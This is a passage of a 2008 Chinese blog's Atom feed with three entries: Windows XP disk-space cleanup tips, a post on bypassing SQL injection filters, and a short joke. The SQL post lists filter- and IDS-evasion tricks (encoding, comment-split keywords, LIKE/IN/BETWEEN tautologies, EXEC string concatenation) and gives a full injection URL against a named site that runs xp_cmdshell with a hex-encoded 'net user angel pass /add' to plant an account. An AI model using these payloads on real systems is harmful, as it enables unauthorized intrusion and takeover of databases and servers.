工具”-“文件夹选项”-“查看”-在“显示所有文件和文件夹”选项前打勾-“确定”&nbsp;<br/><br/>2.删除以下文件夹中的内容:&nbsp;<br/>x:\Documents&nbsp;and&nbsp;Settings\用户名\Cookies\下的所有文件(保留index文件)&nbsp;<br/>x:\Documents&nbsp;and&nbsp;Settings\用户名\Local&nbsp;Settings\Temp\下的所有文件(用户临时文件)&nbsp;<br/>x:\Documents&nbsp;and&nbsp;Settings\用户名\LocalSettings\TemporaryInternet&nbsp;Files\下的所有文件(页面文件)&nbsp;<br/>x:\Documents&nbsp;and&nbsp;Settings\用户名\Local&nbsp;Settings\History\下的所有文件(历史纪录)&nbsp;<br/>x:\Documents&nbsp;and&nbsp;Settings\用户名\Recent\下的所有文件(最近浏览文件的快捷方式)&nbsp;<br/>x:\WINDOWS\Temp\下的所有文件(临时文件)&nbsp;<br/>x:\WINDOWS\ServicePackFiles(升级sp1或sp2后的备份文件)&nbsp;<br/>x:\WINDOWS\Driver&nbsp;Cache\i386下的压缩文件(驱动程序的备份文件)&nbsp;<br/>x:\WINDOWS\SoftwareDistribution\download下的所有文件&nbsp;<br/><br/>3.如果对系统进行过windoes&nbsp;updade升级，则删除以下文件:x:\windows\下以&nbsp;$u...&nbsp;开头的隐藏文件&nbsp;<br/><br/>4.然后对磁盘进行碎片整理，整理过程中请退出一切正在运行的程序&nbsp;<br/><br/>5.碎片整理后打开“开始”-“程序”-“附件”-“系统工具”-“系统还原”-“创建一个还原点”(最好以当时的日期作为还原点的名字)&nbsp;<br/><br/>6.打开“我的电脑”-右键点系统盘-“属性”-“磁盘清理”-“其他选项”单击系统还原一栏里的“清理”-选择“是”-ok了&nbsp;<br/>7、在各种软硬件安装妥当之后，其实XP需要更新文件的时候就很少了。删除系统备份文件吧:开始→运行→sfc.exe&nbsp;/purgecache近3xxM。(该命令的作用是立即清除&#34;Windows&nbsp;文件保护&#34;文件高速缓存，释放出其所占据的空间)&nbsp;<br/><br/>8、删掉\windows\system32\dllcache下dll档&nbsp;(减去200-300mb),这是备用的dll档,&nbsp;只要你已&nbsp;拷贝了安装文件,&nbsp;完全可以这样做。&nbsp;<br/>9、XP会自动备份硬件的驱动程序，但在硬件的驱动安装正确后，一般变动硬件的可能性不大，所以也可以考虑将这个备份删除，文件位于\windows\driver&nbsp;cache\i386目录下，名称为driver.cab，你直接将它删除就可以了，通常这个文件是74M。&nbsp;<br/>10、删除不用的输入法:对很多网友来说，Windows&nbsp;XP系统自带的输入法并不全部都合适自己的使用，比如IMJP8_1&nbsp;日文输入法、IMKR6_1&nbsp;韩文输入法这些输入法，如果用不着，我们可以将其删除。输入法位于\windows\ime\文件夹中，全部占用了88M的空间。&nbsp;<br/>11、升级完成发现windows\多了许多类似$NtUninstallQ311889$这些目录，都干掉吧，1x-3xM&nbsp;<br/><br/>12、另外，保留着\windows\help目录下的东西对我来说是一种伤害，呵呵。。。都干掉!&nbsp;<br/>13、关闭系统还原:系统还原功能使用的时间一长，就会占用大量的硬盘空间。因此有必要对其进行手工设置，以减少硬盘占用量。打开&#34;系统属性&#34;对话框，选择&#34;系统还原&#34;选项，选择&#34;在所有驱动器上关闭系统还原&#34;复选框以关闭系统还原。也可仅对系统所在的磁盘或分区设置还原。先选择系统所在的分区，单击&#34;配置&#34;按钮，在弹出的对话框中取消&#34;关闭这个驱动器的系统还原&#34;选项，并可设置用于系统还原的磁盘空间大小。&nbsp;<br/>14、休眠功能会占用不少的硬盘空间，如果使用得少不妨将共关闭，关闭的方法是的:打开&#34;控制面板&#34;，双击&#34;电源选项&#34;，在弹出的&#34;电源选项属性&#34;对话框中选择&#34;休眠&#34;选项卡，取消&#34;启用休眠&#34;复选框。&nbsp;<br/>15、卸载不常用组件:XP默认给操作系统安装了一些系统组件，而这些组件有很大一部分是你根本不可能用到的，可以在&#34;添加/删除Windows组件&#34;中将它们卸载。但其中有一些组件XP默认是隐藏的，在&#34;添加/删除Windows&nbsp;组件&#34;中找不到它们，这时可以这样操作:用记事本打开\windows\inf\sysoc.inf这个文件，用查找/替换功能把文件中的&#34;hide&#34;字符全部替换为空。这样,就把所有组件的隐藏属性都去掉了，存盘退出后再运行&#34;添加-删除程序&#34;,&nbsp;就会看见多出不少&nbsp;你原来看不见的选项，把其中那些你用不到的组件删掉(记住存盘的时候要保存为sysoc.inf，而不是默认的sysoc.txt)，如Internat信使服务、传真服务、Windows&nbsp;messenger，码表等，大约可腾出近50MB的空间。&nbsp;<br/><br/>16、清除系统临时文件:系统的临时文件一般存放在两个位置中:一个Windows安装目录下的Temp文件夹;另一个是x:\Documents&nbsp;and&nbsp;Settings\&#34;用户名&#34;\Local&nbsp;Settings\Temp文件夹(Y:是系统所在的分区)。这两个位置的文件均可以直接删除。&nbsp;<br/>17、清除Internet临时文件:定期删除上网时产生的大量Internet临时文件，将节省大量的硬盘空间。打开IE浏览器，从&#34;工具&#34;菜单中选择&#34;Internet选项&#34;，在弹出的对话框中选择&#34;常规&#34;选项卡，在&#34;Internet临时文件&#34;栏中单击&#34;删除文件&#34;按钮，并在弹出&#34;删除文件&#34;对话框，选中&#34;删除所有脱机内容&#34;复选框，单击&#34;确定&#34;按钮。&nbsp;<br/>18、清除预读文件:Windows&nbsp;XP的预读设置虽然可以提高系统速度，但是使用一段时间后，预读文件夹里的文件数量会变得相当庞大，导致系统搜索花费的时间变长。而且有些应用程序会产生死链接文件，更加重了系统搜索的负担。所以，应该定期删除这些预读文件。预计文件存放在Windows&nbsp;XP系统文件夹的Prefetch文件夹中，该文件夹下的所有文件均可删除。&nbsp;<br/>19、压缩NTFS驱动器、文件或文件夹:如果你的硬盘采用的是NTFS文件系统，空间实在紧张，还可以考虑启用NTFS的压缩功能。右击要压缩的驱动器-&#34;属性&#34;-&#34;常规&#34;-&#34;压缩磁盘以节省磁盘空间&#34;，然后单击&#34;确定&#34;，&nbsp;在&#34;确认属性更改&#34;中选择需要的选项。这样可以节省约20%&nbsp;的硬盘空间。在压缩C盘的时候,最好在安全模式下压缩,这样效果要好一些。&nbsp;<br/>20、关闭华医生Dr.Watson:要关闭Dr.Watson可打开注册表编辑器，找到&#34;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\AeDebug&#34;分支，双击其下的Auto键值名称，将其&#34;数值数据&#34;改为0，最后按F5刷新使设置生效，这样就取消它的运行了。也在&#34;开始&#34;-&gt;&#34;运行&#34;中输入&#34;drwtsn32&#34;命令，或者&#34;开始&#34;-&gt;&#34;程序&#34;-&gt;&#34;附件&#34;-&gt;&#34;系统工具&#34;-&gt;&#34;系统信息&#34;-&gt;&#34;工具&#34;&gt;&#34;Dr&nbsp;Watson&#34;，调出系统里的华医生Dr.Watson&nbsp;，只保留&#34;转储全部线程上下文&#34;选项，否则一旦程序出错，硬盘会读很久，并占用大量空间。如以前有此情况，请查找user.dmp文件，删除后可节省几十MB空间。&nbsp;<br/><br/>21、关闭远程桌面:&#34;我的电脑&#34;-&gt;&#34;属性&#34;-&gt;&#34;远程&#34;,&#34;远程桌面&#34;里的&#34;允许用户远程连接到这台&nbsp;计算机&#34;勾去掉。&nbsp;<br/>22、取消XP对ZIP支持:Windows&nbsp;XP在默认情况下打开了对zip文件支持，这要占用一定的系统资源，可选择&#34;开始→运行&#34;，在&#34;运行&#34;对话框中键入&#34;regsvr32&nbsp;/u&nbsp;zipfldr.dll&#34;，回车确认即可取消XP对ZIP解压缩的支持，从而节省系统资源。&nbsp;<br/>23、关闭错误报告:当应用程序出错时，会弹出发送错误报告的窗口，其实这样的错误报告对普通用户而言几乎没有任何意义，关闭它是明智的选择。在&#34;系统属性&#34;对话框中选择&#34;高级&#34;选项卡，单击&#34;错误报告&#34;按钮，在弹出的&#34;错误汇报&#34;对话框中，选择&#34;禁用错误汇报&#34;单选项，最后单击&#34;确定&#34;即可。另外我们也可以从组策略中关闭错误报告:从&#34;运行&#34;中键入&#34;gpedit.msc&#34;，运行&#34;组策略编辑器&#34;，展开&#34;计算机配置→管理模板→系统→错误报告功能&#34;，双击右边设置栏中的&#34;报告错误&#34;，在弹出的&#34;属性&#34;对话框中选择&#34;已禁用&#34;单选框即可将&#34;报告错误&#34;禁用。&nbsp;<br/>24、关掉不用的设备:Windows&nbsp;XP总是尽可能为电脑的所有设备安装驱动程序并进行管理，这不仅会减慢系统启动的速度，同时也造成了系统资源的大量占用。针对这一情况，你可在&nbsp;设备管理器中，将PCMCIA卡、调制解调器、红外线设备、打印机端口(LPT1)或者串口(COM1)等不常用的设备停用，方法是双击要停用的设备，在其属性对话框中&nbsp;的&#34;常规&#34;选项卡中选择&#34;不要使用这个设备(停用)&#34;。在重新启动设置即可生效，当需要使用这些设备时再从设备管理器中启用它们。&nbsp;<br/><br/>25、定期清理系统还原点:打开磁盘清理，选择其他选项-&gt;清理系统还原点，点击清理。&nbsp;<br/><br/>26、卸载不需要的程序.&nbsp;<br/><br/>27、其它优化:&nbsp;<br/>A&nbsp;将应用软件装在其它硬盘(不要安装在系统盘下，这对重装系统也有好处);&nbsp;<br/>B&nbsp;将&#34;我的文档&#34;文件夹都转到其他分区:在桌面的&#34;我的文档&#34;图标上是右击鼠标，选择&#34;属性&#34;-&gt;&#34;移动&#34;&nbsp;;&nbsp;<br/>C&nbsp;将IE临时文件夹都转到其他分区:打开IE浏览器，选择&#34;工具&#34;-&gt;&#34;internet选项&#34;-&gt;&#34;常规&#34;-&gt;&#34;设置&#34;-&gt;&#34;移动文件夹&#34;;&nbsp;<br/>D&nbsp;把虚拟内存也转到其它硬盘;&nbsp;<br/>E&nbsp;把pagefile.sys文件都指向一个地方:控制面板→系统→性能—高级→虚拟内存→更改,注&nbsp;意要点&#34;设置&#34;才会生效;&nbsp;<br/>F&nbsp;在桌面的&#34;我的电脑&#34;图标上是右击鼠标，选择&#34;属性&#34;-&gt;&#34;高级-性能设置&#34;-&gt;&#34;高级-虚拟内存&#34;，调至330-720。而且定时清理。]]></summary>
	  <link rel="alternate" type="text/html" href="http://drler.net/default.asp?id=997" /> 
	  <id>http://drler.net/default.asp?id=997</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[突破SQL脚本注入限制]]></title>
	  <author>
		 <name>LiJun027</name>
		 <uri>http://drler.net/</uri>
		 <email>drler@126.com</email>
	  </author>
	  <category term="" scheme="http://drler.net/default.asp?cateID=5" label="脚本学习" /> 
	  <updated>2008-04-25T10:47:02+08:00</updated>
	  <published>2008-04-25T10:47:02+08:00</published>
		  <summary type="html"><![CDATA[突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下，提到的方法大多都是针对AND与“’”号和“=”号过滤的突破，虽然有点进步的地方，但还是有一些关键字没有绕过，由于不常入侵网站所以也不敢对上述过滤的效果进行评论，但是可以肯定的是，效果不会很好……<br/><br/>　　经过收集，大部分的防注入程序都过滤了以下关键字：<br/><br/>　　and&nbsp;|&nbsp;sel&#101;ct&nbsp;|&nbsp;up&#100;ate&nbsp;|&nbsp;chr&nbsp;|&nbsp;del&#101;te&nbsp;|&nbsp;%20from&nbsp;|&nbsp;;&nbsp;|&nbsp;ins&#101;rt&nbsp;|&nbsp;mid&nbsp;|&nbsp;master.&nbsp;|&nbsp;set&nbsp;|&nbsp;=<br/><br/>　　而这里最难处理的就是sel&#101;ct这个关键字了，那么我们怎样来突破他们呢?问题虽未完全解决，但还是说出来与大家分享一下，希望能抛砖引玉。<br/><br/>　　对于关键字的过滤，以下是收集的以及个人的一些想法。<br/><br/>　　1、运用编码技术绕过<br/><br/>　　如URLEncode编码，ASCII编码绕过。例如or&nbsp;1=1即%6f%72%20%31%3d%31，而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。<br/><br/>　　2、通过空格绕过<br/><br/>　　如两个空格代替一个空格，用Tab代替空格等，或者删除所有空格，如or’&nbsp;swords’&nbsp;=‘swords’&nbsp;，由于mssql的松散性，我们可以把or&nbsp;’swords’&nbsp;之间的空格去掉，并不影响运行。<br/><br/>　　3、运用字符串判断代替<br/><br/>　　用经典的or&nbsp;1=1判断绕过,如or&nbsp;’swords’&nbsp;=’swords’，这个方法就是网上在讨论的。<br/><br/>　　4、通过类型转换修饰符N绕过<br/><br/>　　可以说这是一个不错的想法，他除了能在某种程度上绕过限制，而且还有别的作用，大家自己好好想想吧。关于利用，如or&nbsp;’swords’&nbsp;=&nbsp;N’&nbsp;swords’&nbsp;，大写的N告诉mssql&nbsp;server&nbsp;字符串作为nvarchar类型，它起到类型转换的作用，并不影响注射语句本身，但是可以避过基于知识的模式匹配IDS。<br/><br/>　　5、通过+号拆解字符串绕过<br/><br/>　　效果值得考证，但毕竟是一种方法。如&nbsp;o&#114;&nbsp;’swords’&nbsp;=‘sw’&nbsp;+’&nbsp;o&#114;ds’&nbsp;;EXEC(‘IN’&nbsp;+’&nbsp;SERT&nbsp;INTO&nbsp;’+’&nbsp;…..’&nbsp;)<br/><br/>　　6、通过LIKE绕过<br/><br/>　　以前怎么就没想到呢?如or&nbsp;’swords’&nbsp;LIKE&nbsp;’sw’!!!显然可以很轻松的绕过“=”“&gt;”的限制……<br/><br/>7、通过IN绕过<br/><br/>　　与上面的LIKE的思路差不多,如or&nbsp;’swords’&nbsp;IN&nbsp;(’swords’)<br/><br/>　　8、通过BETWEEN绕过<br/><br/>　　如or&nbsp;’swords’&nbsp;BETWEEN&nbsp;’rw’&nbsp;AND&nbsp;’tw’<br/><br/>　　9、通过&gt;或者&lt;绕过<br/><br/>　　or&nbsp;’swords’&nbsp;&gt;&nbsp;’sw’<br/><br/>　　or&nbsp;’swords’&nbsp;&lt;&nbsp;’tw’<br/><br/>　　or&nbsp;1&lt;3<br/><br/>　　……<br/><br/>　　10、运用注释语句绕过<br/><br/>　　用/**/代替空格，如：UNION&nbsp;/**/&nbsp;Sel&#101;ct&nbsp;/**/user，pwd，from&nbsp;tbluser<br/><br/>　　用/**/分割敏感词，如：U/**/&nbsp;NION&nbsp;/**/&nbsp;SE/**/&nbsp;LECT&nbsp;/**/user，pwd&nbsp;from&nbsp;tbluser<br/><br/>　　11、用HEX绕过，一般的IDS都无法检测出来<br/><br/>　　0x730079007300610064006D0069006E00&nbsp;=hex(sysadmin)<br/><br/>　　0x640062005F006F0077006E0065007200&nbsp;=hex(db_owner)<br/><br/>　　另外，关于通用点的过滤方法，我们可以考虑采用赋值的方法，例如先声明一个变量a，然后把我们的指令赋值给a，然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下：<br/><br/>　　declare&nbsp;@a&nbsp;sysname<br/><br/>　　sel&#101;ct&nbsp;@a=<br/><br/>　　exec&nbsp;master.dbo.xp_cmdshell&nbsp;@a<br/><br/>　　效果：<a href="http://www.ilikeplmm.com/show.asp?id=1" target="_blank">http://www.ilikeplmm.com/show.asp?id=1</a>;declare%20@a%&nbsp;20sysname%20sel&#101;ct%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730&nbsp;020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a;--<br/><br/>　　其中的&nbsp;0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020&nbsp;002f00610064006400&nbsp;就是“net&nbsp;user&nbsp;angel&nbsp;pass&nbsp;/add”的意思。&nbsp;]]></summary>
	  <link rel="alternate" type="text/html" href="http://drler.net/default.asp?id=996" /> 
	  <id>http://drler.net/default.asp?id=996</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[CB评论看到的笑话]]></title>
	  <author>
		 <name>LiJun027</name>
		 <uri>http://drler.net/</uri>
		 <email>drler@126.com</email>
	  </author>
	  <category term="" scheme="http://drler.net/default.asp?cateID=3" label="乱七八糟" /> 
	  <updated>2008-04-24T12:46:13+08:00</updated>
	  <published>2008-04-24T12:46:13+08:00</published>
		  <summary type="html"><![CDATA[玛丽和小明住在一层,<br/>两人住的很近,<br/>问为什么有人找玛丽敲错小明的门,每次小明回答总挨揍？!&nbsp;!&nbsp;因为小明老回答~~玛丽,隔壁～～～～～～～很黄&nbsp;很暴力&nbsp; <img src="http://drler.net/images/smilies/Face_01.gif" border="0" style="margin:0px 0px -2px 0px" alt=""/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://drler.net/default.asp?id=995" /> 
	  <id>http://drler.net/default.asp?id=995</id> 
  </entry>	
		
</feed>